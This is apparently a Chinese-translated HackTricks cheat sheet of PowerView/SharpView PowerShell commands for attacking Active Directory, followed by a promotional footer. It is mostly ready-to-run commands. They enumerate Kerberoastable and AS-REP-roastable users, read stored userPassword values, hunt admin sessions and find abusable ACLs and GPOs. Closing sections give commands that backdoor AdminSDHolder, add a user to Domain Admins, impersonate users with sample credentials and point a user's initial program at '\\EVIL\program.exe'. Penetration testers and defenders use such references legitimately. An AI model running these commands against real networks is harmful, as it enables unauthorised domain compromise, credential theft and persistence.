# PowerView/SharpView
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{% embed url="" %} PowerView的最新版本始终位于PowerSploit的dev分支中： [**SharpView**](https://github.com/tevora-threat/SharpView)是[**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)的.NET端口 ### 快速枚举 ```powershell Get-NetDomain #Basic domain info #User info Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set Get-NetUser -PreauthNotRequired #ASREPRoastable users Get-NetUser -SPN #Kerberoastable users #Groups info Get-NetGroup | select samaccountname, admincount, description Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders #Computers Get-NetComputer | select samaccountname, operatingsystem Get-NetComputer -Unconstrainusered | select samaccountname #DCs always appear but aren't useful for privesc Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups #Shares Find-DomainShare -CheckShareAccess #Search readable shares #Domain trusts Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found #LHF #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl #Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened. Find-LocalAdminAccess #Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts. Invoke-UserHunter -CheckAccess #Find interesting ACLs Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl ``` ### 域信息 ```powershell # Domain Info Get-Domain #Get info about the current domain Get-NetDomain #Get info about the current domain Get-NetDomain -Domain mydomain.local Get-DomainSID #Get domain SID # Policy Get-DomainPolicy #Get info about the policy (Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge) (Get-DomainPolicy)."SystemAccess" #Password policy Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous (Get-DomainPolicy).PrivilegeRights #Check your privileges Get-DomainPolicyData # Same as Get-DomainPolicy # Domain Controller Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller # Get Forest info Get-ForestDomain ``` ### 用户、组、计算机和组织单位 ```powershell # Users ## Get usernames and their groups Get-DomainUser -Properties name, MemberOf | fl ## Get-DomainUser and Get-NetUser are kind of the same Get-NetUser #Get users with several (not all) properties Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames Get-NetUser -UserName student107 #Get info about a user Get-NetUser -properties name, description #Get all descriptions Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter # Get users with reversible encryption (PWD in clear text with dcsync) Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol # Users Filters Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set Get-NetUser -PreauthNotRequired #ASREPRoastable users Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation # retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') } # Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy ## Users with this flag might have empty passwords (if allowed) or shorter passwords Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol #Groups Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName ## Get-DomainGroup is similar to Get-NetGroup Get-NetGroup #Get groups Get-NetGroup -Domain mydomain.local #Get groups of an specific domain Get-NetGroup 'Domain Admins' #Get all data of a group Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups Get-NetGroup -UserName "myusername" #Get groups of a user Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts) Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid Get-NetGPOGroup #Get restricted groups # Computers Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers ## Get-DomainComputer is kind of the same as Get-NetComputer Get-NetComputer #Get all computer objects Get-NetComputer -Ping #Send a ping to check if the computers are working Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups #OU Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case) ## Get-DomainOU is kind of the same as Get-NetOU Get-NetOU #Get Organization Units Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case) ``` ### 登录和会话 ```powershell Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target) Get-NetSession -ComputerName #Get active sessions on the host Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS)) Get-LastLoggedon -ComputerName #Get last user logged on (needs admin rigths in host) Get-NetRDPSession -ComputerName #List RDP sessions inside a host (needs admin rights in host) ``` ### 组策略对象 - GPOs 如果攻击者对 GPO 拥有高权限，他可能能够通过滥用它来进行权限提升，比如给用户添加权限，在主机上添加本地管理员用户，或者创建一个立即执行的计划任务来执行某个操作。\ 有关更多信息以及如何滥用它，请访问[此链接](/windows-hardening/active-directory-methodology/acl-persistence-abuse.md#gpo-delegation)。 ```powershell #GPO Get-DomainGPO | select displayName #Check the names for info Get-NetGPO #Get all policies with details Get-NetGPO | select displayname #Get the names of the policies Get-NetGPO -ComputerName #Get the policy applied in a computer gpresult /V #Get current policy # Get who can create new GPOs Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl # Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl # Get permissions a user/group has over any GPO $sid=Convert-NameToSid "Domain Users" Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid} # COnvert GPO GUID to name Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532 # Transform SID to name ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126 # Get GPO of an OU Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}' # Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences. Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType # Enumerates the machines where a specific domain user/group is a member of a specific local group. Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName ``` 学习如何在以下内容中**利用GPO和ACL权限**： {% content-ref url="/pages/GXzxWkPYzekNjH0HQhud" %} [Abusing Active Directory ACLs/ACEs](/windows-hardening/active-directory-methodology/acl-persistence-abuse.md) {% endcontent-ref %} ### ACL ```powershell #Get ACLs of an object (permissions of other objects over the indicated one) Get-ObjectAcl -SamAccountName -ResolveGUIDs #Other way to get ACLs of an object $sid = Convert-NameToSid Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get permissions of a file Get-PathAcl -Path "\\dc.mydomain.local\sysvol" #Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects Find-InterestingDomainAcl -ResolveGUIDs #Check if any of the interesting permissions founds is realated to a username/group Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"} #Get special rights over All administrators in domain Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights ``` ### 共享文件和文件夹 ```powershell Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers Find-DomainShare -CheckShareAccess #Search readable shares Find-InterestingDomainShareFile #Find interesting files, can use filters ``` ### 域信任 ```powershell Get-NetDomainTrust #Get all domain trusts (parent, children and external) Get-DomainTrust #Same Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found Get-DomainTrustMapping #Enumerate also all the trusts Get-ForestDomain # Get basic forest info Get-ForestGlobalCatalog #Get info of current forest (no external) Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible) Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)" Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust) Get-DomainForeingUser #Get users with privileges in other domains inside the forest Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest ``` ### 低挂果实 ```powershell #Check if any user passwords are set $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl #Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened. Find-LocalAdminAccess #(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed. .\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt #Enumerate machines where a particular user/group identity has local admin rights Get-DomainGPOUserLocalGroupMapping -Identity # Enumerates the members of specified local group (default administrators) # for all the targeted machines on the current (or specified) domain. Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember #Search unconstrained delegation computers and show users Find-DomainUserLocation -ComputerUnconstrained -ShowAll #Admin users that allow delegation, logged into servers that allow unconstrained delegation Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation #Get members from Domain Admins (default) and a list of computers # and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. # If -Checkaccess, then it also check for LocalAdmin access in the hosts. ## By default users inside Domain Admins are searched Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName Invoke-UserHunter [-CheckAccess] #Search "RDPUsers" users Invoke-UserHunter -GroupName "RDPUsers" #It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers) Invoke-UserHunter -Stealth ``` ### 已删除的对象 ```powershell #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft #You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` ### 其他 #### SID转换为名称 ```powershell "S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName ``` #### Kerberoast #### Kerberoast ```powershell Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users ``` #### 使用不同的凭据（参数） ```powershell # use an alterate creadential for any function $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred ``` #### 冒充用户 ```powershell # if running in -sta mode, impersonate another credential a la "runas /netonly" $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Invoke-UserImpersonation -Credential $Cred # ... action Invoke-RevertToSelf ``` #### 设置数值 ```powershell # set the specified property for the given user identity Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose # Set the owner of 'dfm' in the current domain to 'harmj0y' Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y # Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All # Add user to 'Domain Admins' Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local ```
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从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！ * 你在**网络安全公司**工作吗？想要在**HackTricks中宣传你的公司**？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 探索我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享你的黑客技巧**。
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